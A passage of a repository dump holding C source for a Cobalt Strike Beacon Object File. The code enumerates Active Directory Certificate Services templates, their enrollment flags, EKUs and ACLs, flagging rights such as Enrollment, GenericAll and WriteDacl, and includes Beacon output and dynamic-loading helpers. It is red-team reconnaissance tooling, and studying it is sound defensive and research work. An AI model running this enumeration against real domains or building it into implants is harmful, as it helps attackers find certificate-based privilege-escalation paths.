N/A\\n\");\n\t\tgoto fail;\n\t}\n\t\n\thr = OLEAUT32$SafeArrayGetElement(lpvarArray->parray, &lItemIdx, &bstrItem);\n\twhile(SUCCEEDED(hr))\n\t{\n\t\tif (bstrItem) { internal_printf(\"      %S\\n\", bstrItem); }\n\t\telse { internal_printf(\"      N/A\\n\"); }\n\n\t\t++lItemIdx;\n\t\thr = OLEAUT32$SafeArrayGetElement(lpvarArray->parray, &lItemIdx, &bstrItem);\t\n\t}\n\n\thr = S_OK;\n\n\t//internal_printf(\"\\n _adcs_get_CertificationAuthorityCertificateTypes SUCCESS.\\n\");\n\nfail:\n\n\treturn hr;\n} // end _adcs_get_CertificationAuthorityCertificateTypes\n\n\nHRESULT _adcs_get_CertificateTemplate(IX509CertificateTemplate * pCertificateTemplate)\n{\n\tHRESULT hr = S_OK;\n\tVARIANT varProperty;\n\n\tOLEAUT32$VariantInit(&varProperty);\n\n\t// Get the TemplatePropCommonName\n\tOLEAUT32$VariantClear(&varProperty);\n\thr = pCertificateTemplate->lpVtbl->get_Property(pCertificateTemplate, TemplatePropCommonName, &varProperty);\n\tCHECK_RETURN_FAIL(\"pCertificateTemplate->lpVtbl->get_Property(TemplatePropCommonName)\", hr);\n\tinternal_printf(\"\\n[*] Listing info about the template '%S'\\n\", varProperty.bstrVal);\n\tinternal_printf(\"    Template Name            : %S\\n\", varProperty.bstrVal);\n\n\t// Get the TemplatePropFriendlyName\n\tOLEAUT32$VariantClear(&varProperty);\n\thr = pCertificateTemplate->lpVtbl->get_Property(pCertificateTemplate, TemplatePropFriendlyName, &varProperty);\n\tCHECK_RETURN_FAIL(\"pCertificateTemplate->lpVtbl->get_Property(TemplatePropFriendlyName)\", hr);\n\tinternal_printf(\"    Template Friendly Name   : %S\\n\", varProperty.bstrVal);\n\t\n\t// Get the TemplatePropValidityPeriod\n\tOLEAUT32$VariantClear(&varProperty);\n\thr = pCertificateTemplate->lpVtbl->get_Property(pCertificateTemplate, TemplatePropValidityPeriod, &varProperty);\n\tCHECK_RETURN_FAIL(\"pCertificateTemplate->lpVtbl->get_Property(TemplatePropValidityPeriod)\", hr);\n\tinternal_printf(\"    Validity Period          : %ld years (%ld seconds)\\n\", varProperty.lVal/31536000, varProperty.lVal);\n\n\t// Get the TemplatePropRenewalPeriod\n\tOLEAUT32$VariantClear(&varProperty);\n\thr = pCertificateTemplate->lpVtbl->get_Property(pCertificateTemplate, TemplatePropRenewalPeriod, &varProperty);\n\tCHECK_RETURN_FAIL(\"pCertificateTemplate->lpVtbl->get_Property(TemplatePropRenewalPeriod)\", hr);\n\tinternal_printf(\"    Renewal Period           : %ld days (%ld seconds)\\n\", varProperty.lVal/86400, varProperty.lVal);\n\n\t// Get the TemplatePropSubjectNameFlags\n\t// See https://docs.microsoft.com/en-us/windows/win32/api/certenroll/ne-certenroll-x509certificatetemplatesubjectnameflag\n\tOLEAUT32$VariantClear(&varProperty);\n\thr = pCertificateTemplate->lpVtbl->get_Property(pCertificateTemplate, TemplatePropSubjectNameFlags,\t&varProperty);\n\tCHECK_RETURN_FAIL(\"pCertificateTemplate->lpVtbl->get_Property(TemplatePropSubjectNameFlags)\", hr);\n\tinternal_printf(\"    Name Flags               :\");\n\tif(SubjectNameEnrolleeSupplies & varProperty.intVal) { internal_printf(\" SubjectNameEnrolleeSupplies\"); }\n\tif(SubjectNameRequireDirectoryPath & varProperty.intVal) { internal_printf(\" SubjectNameRequireDirectoryPath\"); }\n\tif(SubjectNameRequireCommonName & varProperty.intVal) { internal_printf(\" SubjectNameRequireCommonName\"); }\n\tif(SubjectNameRequireEmail & varProperty.intVal) { internal_printf(\" SubjectNameRequireEmail\"); }\n\tif(SubjectNameRequireDNS & varProperty.intVal) { internal_printf(\" SubjectNameRequireDNS\"); }\n\tif(SubjectNameAndAlternativeNameOldCertSupplies & varProperty.intVal) { internal_printf(\" SubjectNameAndAlternativeNameOldCertSupplies\"); }\n\tif(SubjectAlternativeNameEnrolleeSupplies & varProperty.intVal) { internal_printf(\" SubjectAlternativeNameEnrolleeSupplies\"); }\n\tif(SubjectAlternativeNameRequireDirectoryGUID & varProperty.intVal) { internal_printf(\" SubjectAlternativeNameRequireDirectoryGUID\"); }\n\tif(SubjectAlternativeNameRequireUPN & varProperty.intVal) { internal_printf(\" SubjectAlternativeNameRequireUPN\"); }\n\tif(SubjectAlternativeNameRequireEmail & varProperty.intVal) { internal_printf(\" SubjectAlternativeNameRequireEmail\"); }\n\tif(SubjectAlternativeNameRequireSPN & varProperty.intVal) { internal_printf(\" SubjectAlternativeNameRequireSPN\"); }\n\tif(SubjectAlternativeNameRequireDNS & varProperty.intVal) { internal_printf(\" SubjectAlternativeNameRequireDNS\"); }\n\tif(SubjectAlternativeNameRequireDomainDNS & varProperty.intVal) { internal_printf(\" SubjectAlternativeNameRequireDomainDNS\"); }\n\tinternal_printf(\"\\n\");\t\n\n\t// Get the TemplatePropEnrollmentFlags\n\t// See https://docs.microsoft.com/en-us/windows/win32/api/certenroll/ne-certenroll-x509certificatetemplateenrollmentflag\n\tOLEAUT32$VariantClear(&varProperty);\n\thr = pCertificateTemplate->lpVtbl->get_Property(pCertificateTemplate, TemplatePropEnrollmentFlags, &varProperty);\n\tCHECK_RETURN_FAIL(\"pCertificateTemplate->lpVtbl->get_Property(TemplatePropEnrollmentFlags)\", hr);\n\tinternal_printf(\"    Enrollment Flags         :\");\n\tif(EnrollmentIncludeSymmetricAlgorithms & varProperty.intVal) { internal_printf(\" EnrollmentIncludeSymmetricAlgorithms\"); }\n\tif(EnrollmentPendAllRequests & varProperty.intVal) { internal_printf(\" EnrollmentPendAllRequests\"); }\n\tif(EnrollmentPublishToKRAContainer & varProperty.intVal) { internal_printf(\" EnrollmentPublishToKRAContainer\"); }\n\tif(EnrollmentPublishToDS & varProperty.intVal) { internal_printf(\" EnrollmentPublishToDS\"); }\n\tif(EnrollmentAutoEnrollmentCheckUserDSCertificate & varProperty.intVal) { internal_printf(\" EnrollmentAutoEnrollmentCheckUserDSCertificate\"); }\n\tif(EnrollmentAutoEnrollment & varProperty.intVal) { internal_printf(\" EnrollmentAutoEnrollment\"); }\n\tif(EnrollmentDomainAuthenticationNotRequired & varProperty.intVal) { internal_printf(\" EnrollmentDomainAuthenticationNotRequired\"); }\n\tif(EnrollmentPreviousApprovalValidateReenrollment & varProperty.intVal) { internal_printf(\" EnrollmentPreviousApprovalValidateReenrollment\"); }\n\tif(EnrollmentUserInteractionRequired & varProperty.intVal) { internal_printf(\" EnrollmentUserInteractionRequired\"); }\n\tif(EnrollmentAddTemplateName & varProperty.intVal) { internal_printf(\" EnrollmentAddTemplateName\"); }\n\tif(EnrollmentRemoveInvalidCertificateFromPersonalStore & varProperty.intVal) { internal_printf(\" EnrollmentRemoveInvalidCertificateFromPersonalStore\"); }\n\tif(EnrollmentAllowEnrollOnBehalfOf & varProperty.intVal) { internal_printf(\" EnrollmentAllowEnrollOnBehalfOf\"); }\n\tif(EnrollmentAddOCSPNoCheck & varProperty.intVal) { internal_printf(\" EnrollmentAddOCSPNoCheck\"); }\n\tif(EnrollmentReuseKeyOnFullSmartCard & varProperty.intVal) { internal_printf(\" EnrollmentReuseKeyOnFullSmartCard\"); }\n\tif(EnrollmentNoRevocationInfoInCerts & varProperty.intVal) { internal_printf(\" EnrollmentNoRevocationInfoInCerts\"); }\n\tif(EnrollmentIncludeBasicConstraintsForEECerts & varProperty.intVal) { internal_printf(\" EnrollmentIncludeBasicConstraintsForEECerts\"); }\n\tinternal_printf(\"\\n\");\t\n\n\t// Get the TemplatePropRASignatureCount\n\tOLEAUT32$VariantClear(&varProperty);\n\thr = pCertificateTemplate->lpVtbl->get_Property(pCertificateTemplate, TemplatePropRASignatureCount, &varProperty);\n\tCHECK_RETURN_FAIL(\"pCertificateTemplate->lpVtbl->get_Property(TemplatePropRASignatureCount)\", hr);\n\tinternal_printf(\"    Signatures Required      : %d\\n\", varProperty.intVal);\n\n\t// Get the TemplatePropEKUs\n\tOLEAUT32$VariantClear(&varProperty);\n\tpCertificateTemplate->lpVtbl->get_Property(pCertificateTemplate, TemplatePropEKUs, &varProperty);\n\tinternal_printf(\"    Extended Key Usages      :\\n\");\n\thr = _adcs_get_CertificateTemplateExtendedKeyUsages(&varProperty);\n\tCHECK_RETURN_FAIL(\"_adcs_get_CertificateTemplateExtendedKeyUsages\", hr);\n\t\n\t// Get the TemplatePropKeySecurityDescriptor\n\tOLEAUT32$VariantClear(&varProperty);\n\tpCertificateTemplate->lpVtbl->get_Property(pCertificateTemplate, TemplatePropSecurityDescriptor, &varProperty);\n\tCHECK_RETURN_FAIL(\"pCertificateTemplate->lpVtbl->get_Property(TemplatePropSecurityDescriptor)\", hr);\n\tinternal_printf(\"    Permissions              :\\n\");\n\thr = _adcs_get_CertificateTemplateSecurity(varProperty.bstrVal);\n\tCHECK_RETURN_FAIL(\"_adcs_get_CertificateTemplateSecurity\", hr);\n\t\n\thr = S_OK;\n\n\t//internal_printf(\"\\n _adcs_get_CertificateTemplate SUCCESS.\\n\");\n\nfail:\n\n\tOLEAUT32$VariantClear(&varProperty);\n\n\treturn hr;\n} // end _adcs_get_CertificateTemplate\n\n\nHRESULT _adcs_get_CertificateTemplateExtendedKeyUsages(VARIANT* lpvarExtendedKeyUsages)\n{\n\tHRESULT hr = S_OK;\n\tIObjectIds * pObjectIds = NULL;\n\tIEnumVARIANT *pEnum = NULL;\n\tLPUNKNOWN pUnk = NULL;\n\tVARIANT var;\n\tIDispatch *pDisp = NULL;\n\tULONG lFetch = 0;\n\tIObjectId * pObjectId = NULL;\n\tBSTR bstFriendlyName = NULL;\n\n\tIID IID_IEnumVARIANT = { 0x00020404, 0x0000, 0x0000, {0xc0,0x00, 0x00,0x00,0x00,0x00,0x00,0x46} };\n\tIID IID_IObjectId = { 0x728ab300, 0x217d, 0x11da, {0XB2, 0XA4, 0x00, 0x0E, 0x7B, 0xBB, 0x2B, 0x09} };\n\t\n\tOLEAUT32$VariantInit(&var);\n\t\n\tif (NULL == lpvarExtendedKeyUsages->pdispVal)\n\t{\n\t\tinternal_printf(\"      N/A\\n\");\n\t\tgoto fail;\n\t}\n\tpObjectIds = (IObjectIds*)lpvarExtendedKeyUsages->pdispVal;\n\tpObjectIds->lpVtbl->get__NewEnum(pObjectIds, &pUnk);\n\tSAFE_RELEASE(pObjectIds);\n\tpUnk->lpVtbl->QueryInterface(pUnk, &IID_IEnumVARIANT, (void**) &pEnum);\n\tSAFE_RELEASE(pUnk);\n\n\tOLEAUT32$VariantInit(&var);\n\thr = pEnum->lpVtbl->Next(pEnum, 1, &var, &lFetch);\n\twhile(SUCCEEDED(hr) && lFetch > 0)\n\t{\n\t\tif (lFetch == 1)\n\t\t{\n\t\t\tpDisp = V_DISPATCH(&var);\n\t\t\tpDisp->lpVtbl->QueryInterface(pDisp, &IID_IObjectId, (void**)&pObjectId); \n\t\t\tSAFE_RELEASE(pDisp);\n\n\t\t\thr = pObjectId->lpVtbl->get_FriendlyName(\n\t\t\t\tpObjectId, \n\t\t\t\t&bstFriendlyName\n\t\t\t);\n\t\t\tif (FAILED(hr))\t{ internal_printf(\"      N/A\\n\"); }\n\t\t\telse { \n\t\t\t\tinternal_printf(\"      %S\\n\", bstFriendlyName); \n\t\t\t\tSAFE_FREE(bstFriendlyName);\n\t\t\t}\n\n\t\t\tSAFE_RELEASE(pObjectId);\n\t\t}\n\t\tOLEAUT32$VariantClear(&var);\n\n\t\thr = pEnum->lpVtbl->Next(pEnum, 1, &var, &lFetch);\n\t} // end loop through IObjectIds via enumerator\n\tSAFE_RELEASE(pObjectId);\n\n\thr = S_OK;\n\n\t//internal_printf(\"\\n _adcs_get_CertificateTemplateExtendedKeyUsages SUCCESS.\\n\");\n\nfail:\n\n\tOLEAUT32$VariantClear(&var);\n\n\treturn hr;\n} // end _adcs_get_CertificateTemplateExtendedKeyUsages\n\n\nHRESULT _adcs_get_CertificateTemplateSecurity(BSTR bstrDacl)\n{\n\tHRESULT hr = S_OK;\n\tBOOL bReturn = TRUE;\n\tPSID pOwner = NULL;\n\tBOOL bOwnerDefaulted = TRUE;\n\tLPWSTR swzStringSid = NULL;\n\tWCHAR swzName[MAX_PATH];\n\tDWORD cchName = MAX_PATH;\n\tWCHAR swzDomainName[MAX_PATH];\n\tDWORD cchDomainName = MAX_PATH;\n\tBOOL bDaclPresent = TRUE;\n\tPACL pDacl = NULL;\n\tBOOL bDaclDefaulted = TRUE;\n\tACL_SIZE_INFORMATION aclSizeInformation;\n\tSID_NAME_USE sidNameUse;\n\tPSECURITY_DESCRIPTOR pSD = NULL;\n\tULONG ulSDSize = 0;\n\n\t// Get the security descriptor\n\tif (NULL == bstrDacl)\n\t{\n\t\tinternal_printf(\"      N/A\\n\");\n\t\tgoto fail;\n\t}\n\tbReturn = ADVAPI32$ConvertStringSecurityDescriptorToSecurityDescriptorW(bstrDacl, SDDL_REVISION_1, (PSECURITY_DESCRIPTOR)(&pSD), &ulSDSize);\n\tCHECK_RETURN_FALSE(\"ConvertStringSecurityDescriptorToSecurityDescriptorW()\", bReturn, hr);\n\n\t// Get the owner\n\tbReturn = ADVAPI32$GetSecurityDescriptorOwner(pSD, &pOwner, &bOwnerDefaulted);\n\tCHECK_RETURN_FALSE(\"GetSecurityDescriptorOwner()\", bReturn, hr);\n\tinternal_printf(\"      Owner                  : \");\n\tcchName = MAX_PATH;\n\tMSVCRT$memset(swzName, 0, cchName*sizeof(WCHAR));\n\tcchDomainName = MAX_PATH;\n\tMSVCRT$memset(swzDomainName, 0, cchDomainName*sizeof(WCHAR));\n\tif (ADVAPI32$LookupAccountSidW(\tNULL, pOwner, swzName, &cchName, swzDomainName, &cchDomainName, &sidNameUse )) { internal_printf(\"%S\\\\%S\", swzDomainName, swzName); }\n\telse { internal_printf(\"N/A\"); }\n\n\t// Get the owner's SID\n\tif (ADVAPI32$ConvertSidToStringSidW(pOwner, &swzStringSid)) { internal_printf(\"\\n                              %S\\n\", swzStringSid); }\n\telse { internal_printf(\"\\n                              N/A\\n\"); }\n\tSAFE_LOCAL_FREE(swzStringSid);\n\n\t// Get the DACL\n\tbReturn = ADVAPI32$GetSecurityDescriptorDacl(pSD, &bDaclPresent, &pDacl, &bDaclDefaulted);\n\tCHECK_RETURN_FALSE(\"GetSecurityDescriptorDacl()\", bReturn, hr);\n\tinternal_printf(\"      Access Rights         :\\n\");\n\tif (FALSE == bDaclPresent) { internal_printf(\"          N/A\\n\"); goto fail; }\n\n\t// Loop through ACEs in ACL\n\tif ( ADVAPI32$GetAclInformation( pDacl, &aclSizeInformation, sizeof(aclSizeInformation), AclSizeInformation ) )\n\t{\n\t\tfor(DWORD dwAceIndex=0; dwAceIndex<aclSizeInformation.AceCount; dwAceIndex++)\n\t\t{\n\t\t\tACE_HEADER * pAceHeader = NULL;\n\t\t\tACCESS_ALLOWED_ACE* pAce = NULL;\n\t\t\tACCESS_ALLOWED_OBJECT_ACE* pAceObject = NULL;\n\t\t\tPSID pPrincipalSid = NULL;\n\t\t\thr = E_UNEXPECTED;\n\n\t\t\tif ( ADVAPI32$GetAce( pDacl, dwAceIndex, (LPVOID)&pAceHeader ) )\n\t\t\t{\n\t\t\t\tpAceObject = (ACCESS_ALLOWED_OBJECT_ACE*)pAceHeader;\n\t\t\t\tpAce = (ACCESS_ALLOWED_ACE*)pAceHeader;\n\t\t\t\tint format_ACCESS_ALLOWED_OBJECT_ACE = 0;\n\n\t\t\t\tif (ACCESS_ALLOWED_OBJECT_ACE_TYPE == pAceHeader->AceType) { \n\t\t\t\t\t//internal_printf(\"        AceType: ACCESS_ALLOWED_OBJECT_ACE_TYPE\\n\");\n\t\t\t\t\tformat_ACCESS_ALLOWED_OBJECT_ACE = 1;\n\t\t\t\t\tpPrincipalSid = (PSID)(&(pAceObject->InheritedObjectType)); \n\t\t\t\t}\n\t\t\t\telse if (ACCESS_ALLOWED_ACE_TYPE == pAceHeader->AceType) { \n\t\t\t\t\t//internal_printf(\"        AceType: ACCESS_ALLOWED_ACE_TYPE\\n\");\n\t\t\t\t\tpPrincipalSid = (PSID)(&(pAce->SidStart)); \n\t\t\t\t}\n\t\t\t\telse { \n\t\t\t\t\tcontinue; \n\t\t\t\t}\n\n\t\t\t\t// Get the principal\n\t\t\t\tcchName = MAX_PATH;\n\t\t\t\tMSVCRT$memset(swzName, 0, cchName*sizeof(WCHAR));\n\t\t\t\tcchDomainName = MAX_PATH;\n\t\t\t\tMSVCRT$memset(swzDomainName, 0, cchDomainName*sizeof(WCHAR));\n\t\t\t\tif (FALSE == ADVAPI32$LookupAccountSidW( NULL, pPrincipalSid, swzName, &cchName, swzDomainName,\t&cchDomainName,\t&sidNameUse\t))\n\t\t\t\t{ continue; }\n\n\t\t\t\tswzStringSid = NULL;\n\t\t\t\tif (ADVAPI32$ConvertSidToStringSidW(pPrincipalSid, &swzStringSid)) { \n\t\t\t\t\tinternal_printf(\"        Principal           : %S\\\\%S (%S)\\n\", swzDomainName, swzName,swzStringSid); }\n\t\t\t\telse { \n\t\t\t\t\tinternal_printf(\"        Principal           : %S\\\\%S (N/A)\\n\", swzDomainName, swzName); }\n\t\t\t\tSAFE_LOCAL_FREE(swzStringSid);\n\n\t\t\t\t// pAceObject->Mask is always equal to pAce->Mask, not \"perfect\" but seems to work\n\t\t\t\tinternal_printf(\"          Access mask       : %08X\\n\", pAceObject->Mask);\n\n\t\t\t\tif (format_ACCESS_ALLOWED_OBJECT_ACE) {\n\t\t\t\t\t// flags not defined in ACCESS_ALLOWED_ACE_TYPE\n\t\t\t\t\tinternal_printf(\"          Flags             : %08X\\n\", pAceObject->Flags);\n\n\t\t\t\t\t// Check if Enrollment permission\n\t\t\t\t\tif (ADS_RIGHT_DS_CONTROL_ACCESS & pAceObject->Mask)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (ACE_OBJECT_TYPE_PRESENT & pAceObject->Flags)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (\n\t\t\t\t\t\t\t\t(!MSVCRT$memcmp(&CertificateEnrollment, &pAceObject->ObjectType, sizeof (GUID))) ||\n\t\t\t\t\t\t\t\t(!MSVCRT$memcmp(&CertificateAutoEnrollment, &pAceObject->ObjectType, sizeof (GUID))) ||\n\t\t\t\t\t\t\t\t(!MSVCRT$memcmp(&CertificateAll, &pAceObject->ObjectType, sizeof (GUID)))\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tinternal_printf(\"                              Enrollment Rights\\n\");\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} // end if ACE_OBJECT_TYPE_PRESENT\n\t\t\t\t\t} // end if ADS_RIGHT_DS_CONTROL_ACCESS\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// Check if ADS_RIGHT_GENERIC_ALL permission\n\t\t\t\tif (ADS_RIGHT_GENERIC_ALL & pAceObject->Mask)\n\t\t\t\t{\n\t\t\t\t\tinternal_printf(\"                              All Rights\\n\");\n\t\t\t\t} // end if ADS_RIGHT_GENERIC_ALL permission\n\t\t\t\t\n\t\t\t\t// Check if ADS_RIGHT_WRITE_OWNER permission\n\t\t\t\tif ( \n\t\t\t\t\t(ADS_RIGHT_WRITE_OWNER & pAceObject->Mask)\n\t\t\t\t)\n\t\t\t\t{\n\t\t\t\t\tinternal_printf(\"                              WriteOwner Rights\\n\");\n\t\t\t\t} // end if ADS_RIGHT_WRITE_OWNER permission\n\t\t\t\t\n\t\t\t\t// Check if ADS_RIGHT_WRITE_DAC permission\n\t\t\t\tif ( \n\t\t\t\t\t(ADS_RIGHT_WRITE_DAC & pAceObject->Mask)\n\t\t\t\t)\n\t\t\t\t{\n\t\t\t\t\tinternal_printf(\"                              WriteDacl Rights\\n\");\n\t\t\t\t} // end if ADS_RIGHT_WRITE_DAC permission\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t// Check if ADS_RIGHT_GENERIC_WRITE permission\n\t\t\t\tif ( \n\t\t\t\t\t(ADS_RIGHT_GENERIC_WRITE & pAceObject->Mask)\n\t\t\t\t)\n\t\t\t\t{\n\t\t\t\t\tinternal_printf(\"                              WriteProperty Rights\\n\");\n\t\t\t\t} // end if ADS_RIGHT_GENERIC_WRITE permission\n\n\t\t\t\t// Check if ADS_RIGHT_DS_WRITE_PROP permission\n\t\t\t\tif ( \n\t\t\t\t\t(ADS_RIGHT_DS_WRITE_PROP & pAceObject->Mask)\n\t\t\t\t)\n\t\t\t\t{\n\t\t\t\t\tif (format_ACCESS_ALLOWED_OBJECT_ACE) {\n\n\t\t\t\t\t\tinternal_printf(\"                              WriteProperty Rights on \");\n\t\t\t\t\t\tOLECHAR szGuid[MAX_PATH];\n\t\t\t\t\t\tif ( OLE32$StringFromGUID2(&pAceObject->ObjectType, szGuid, MAX_PATH) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tinternal_printf(\"%S\\n\", szGuid);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tinternal_printf(\"{ERROR}\\n\");\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\t// if ACCESS_OBJECT_ACE, there is no ACE_OBJECT_TYPE_PRESENT and ObjectType, so it's like a GENERIC_WRITE\n\t\t\t\t\t\tinternal_printf(\"                              WriteProperty All Rights\\n\");\n\t\t\t\t\t}\n\n\t\t\t\t} // end if ADS_RIGHT_DS_WRITE_PROP permission\n\n\t\t\t\t\n\t\t\t} // end if GetAce was successful\n\t\t} // end for loop through ACEs (AceCount)\n\n\t} // end else GetAclInformation was successful\n\n\thr = S_OK;\n\n\t//internal_printf(\"\\n _adcs_get_CertificateTemplateSecurity SUCCESS.\\n\");\n\nfail:\n\n\tSAFE_LOCAL_FREE(swzStringSid);\n\tSAFE_LOCAL_FREE(pSD);\n\n\treturn hr;\n} // end _adcs_get_CertificateTemplateSecurity\n\n"
  },
  {
    "path": "AD-BOF/ADCS-BOF/src/enum/adcs_enum_com2.h",
    "content": "#pragma once\n#define WIN32_WINNT 0x0601\n#include <windows.h>\n#include <certcli.h>\n#include \"certenroll.h\"\n#include <stdint.h>\n\n\nHRESULT _adcs_get_PolicyServerListManager();\nHRESULT _adcs_get_PolicyServerUrl(IX509PolicyServerUrl * pPolicyServerUrl);\nHRESULT _adcs_get_EnrollmentPolicyServer(BSTR bstrPolicyServerUrl, BSTR bstrPolicyServerId);\nHRESULT _adcs_get_CertificationAuthority(ICertificationAuthority * pCertificateAuthority);\nHRESULT _adcs_get_CertificationAuthorityCertificate(VARIANT* lpvarCertifcate);\nHRESULT _adcs_get_CertificationAuthorityWebServers(VARIANT* lpvarWebServers);\nHRESULT _adcs_get_CertificationAuthorityCertificateTypes(VARIANT* lpvarArray);\nHRESULT _adcs_get_CertificationAuthoritySecurity(BSTR bstrDacl);\nHRESULT _adcs_get_CertificateTemplate(IX509CertificateTemplate * pCertificateTemplate);\nHRESULT _adcs_get_CertificateTemplateExtendedKeyUsages(VARIANT* lpvarExtendedKeyUsages);\nHRESULT _adcs_get_CertificateTemplateSecurity(BSTR bstrDacl);\n\nHRESULT adcs_enum_com2();\n\n"
  },
  {
    "path": "AD-BOF/ADCS-BOF/src/enum/base.c",
    "content": "#include <windows.h>\n#include \"bofdefs.h\"\n#include \"beacon.h\"\n#ifndef bufsize\n#define bufsize 8192\n#endif\n\n\n\n\nchar * output __attribute__((section (\".data\"))) = 0;  // this is just done so its we don't go into .bss which isn't handled properly\nWORD currentoutsize __attribute__((section (\".data\"))) = 0;\nHANDLE trash __attribute__((section (\".data\"))) = NULL; // Needed for x64 to not give relocation error\n\n#ifdef BOF\nint bofstart();\nvoid internal_printf(const char* format, ...);\nvoid printoutput(BOOL done);\n#endif\nchar * Utf16ToUtf8(const wchar_t* input);\n#ifdef BOF\nint bofstart()\n{   \n    output = (char*)MSVCRT$calloc(bufsize, 1);\n    currentoutsize = 0;\n    return 1;\n}\n\nvoid internal_printf(const char* format, ...){\n    int buffersize = 0;\n    int transfersize = 0;\n    char * curloc = NULL;\n    char* intBuffer = NULL;\n    va_list args;\n    va_start(args, format);\n    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null\n    va_end(args);\n    \n    // vsnprintf will return -1 on encoding failure (ex. non latin characters in Wide string)\n    if (buffersize == -1)\n        return;\n    \n    char* transferBuffer = (char*)intAlloc(bufsize);\n    intBuffer = (char*)intAlloc(buffersize);\n    /*Print string to memory buffer*/\n    va_start(args, format);\n    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); // tmpBuffer2 has a null terminated string\n    va_end(args);\n    if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end\n    {\n        //BeaconFormatPrintf(&output, intBuffer);\n        memcpy(output+currentoutsize, intBuffer, buffersize);\n        currentoutsize += buffersize;\n    }\n    else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print\n    {\n        curloc = intBuffer;\n        while(buffersize > 0)\n        {\n            transfersize = bufsize - currentoutsize; // what is the max we could transfer this request\n            if(buffersize < transfersize) //if I have less then that, lets just transfer what's left\n            {\n                transfersize = buffersize;\n            }\n            memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer\n            currentoutsize += transfersize;\n            //BeaconFormatPrintf(&output, transferBuffer); // copy it to cobalt strikes output buffer\n            if(currentoutsize == bufsize)\n            {\n            printoutput(FALSE); // sets currentoutsize to 0 and prints\n            }\n            memset(transferBuffer, 0, transfersize); // reset our transfer buffer\n            curloc += transfersize; // increment by how much data we just wrote\n            buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall\n        }\n    }\n    intFree(intBuffer);\n    intFree(transferBuffer);\n}\n\nvoid printoutput(BOOL done)\n{\n\n    char * msg = NULL;\n    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);\n    currentoutsize = 0;\n    memset(output, 0, bufsize);\n    if(done) {MSVCRT$free(output); output=NULL;}\n}\n#else\n#define internal_printf printf\n#define printoutput \n#define bofstart \n#endif\n\n// Changes to address issue #65.\n// We can't use more dynamic resolve functions in this file, which means a call to HeapRealloc is unacceptable.\n// To that end if you're going to use this function, declare how many libraries you'll be loading out of, multiple functions out of 1 library count as one\n// Normallize your library name to uppercase, yes I could do it, yes I'm also lazy and putting that on the developer.\n// Finally I'm going to assume actual string constants are passed in, which is to say don't pass in something to this you plan to free yourself\n// If you must then free it after bofstop is called\n#ifdef DYNAMIC_LIB_COUNT\n\n\ntypedef struct loadedLibrary {\n    HMODULE hMod; // mod handle\n    const char * name; // name normalized to uppercase\n}loadedLibrary, *ploadedLibrary;\nloadedLibrary loadedLibraries[DYNAMIC_LIB_COUNT] __attribute__((section (\".data\"))) = {0};\nDWORD loadedLibrariesCount __attribute__((section (\".data\"))) = 0;\n\nBOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget)\n{\n    BOOL bmatch = FALSE;\n    DWORD pos = 0;\n    while(szLibrary[pos] && sztarget[pos])\n    {\n        if(szLibrary[pos] != sztarget[pos])\n        {\n            goto end;\n        }\n        pos++;\n    }\n    if(szLibrary[pos] | sztarget[pos]) // if either of these down't equal null then they can't match\n        {goto end;}\n    bmatch = TRUE;\n\n    end:\n    return bmatch;\n}\n\n//GetProcAddress, LoadLibraryA, GetModuleHandle, and FreeLibrary are gimmie functions\n//\n// DynamicLoad\n// Retrieves a function pointer given the BOF library-function name\n// szLibrary           - The library containing the function you want to load\n// szFunction          - The Function that you want to load\n// Returns a FARPROC function pointer if successful, or NULL if lookup fails\n//\nFARPROC DynamicLoad(const char * szLibrary, const char * szFunction)\n{\n    FARPROC fp = NULL;\n    HMODULE hMod = NULL;\n    DWORD i = 0;\n    DWORD liblen = 0;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        if(intstrcmp(szLibrary, loadedLibraries[i].name))\n        {\n            hMod = loadedLibraries[i].hMod;\n        }\n    }\n    if(!hMod)\n    {\n        hMod = LoadLibraryA(szLibrary);\n        if(!hMod){ \n            BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\nCould not find library to load.\", szLibrary);\n            return NULL;\n        }\n        loadedLibraries[loadedLibrariesCount].hMod = hMod;\n        loadedLibraries[loadedLibrariesCount].name = szLibrary; //And this is why this HAS to be a constant or not freed before bofstop\n        loadedLibrariesCount++;\n    }\n    fp = GetProcAddress(hMod, szFunction);\n\n    if (NULL == fp)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\n\", szFunction);\n    }\n    return fp;\n}\n#endif\n\n\nchar* Utf16ToUtf8(const wchar_t* input)\n{\n    int ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        NULL,\n        0,\n        NULL,\n        NULL\n    );\n\n    char* newString = (char*)intAlloc(sizeof(char) * ret);\n\n    ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        newString,\n        sizeof(char) * ret,\n        NULL,\n        NULL\n    );\n\n    if (0 == ret)\n    {\n        goto fail;\n    }\n\nretloc:\n    return newString;\n/*location to free everything centrally*/\nfail:\n    if (newString){\n        intFree(newString);\n        newString = NULL;\n    };\n    goto retloc;\n}\n\n//release any global functions here\nvoid bofstop()\n{\n#ifdef DYNAMIC_LIB_COUNT\n    DWORD i;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        FreeLibrary(loadedLibraries[i].hMod);\n    }\n#endif\n\treturn;\n}\n"
  },
  {
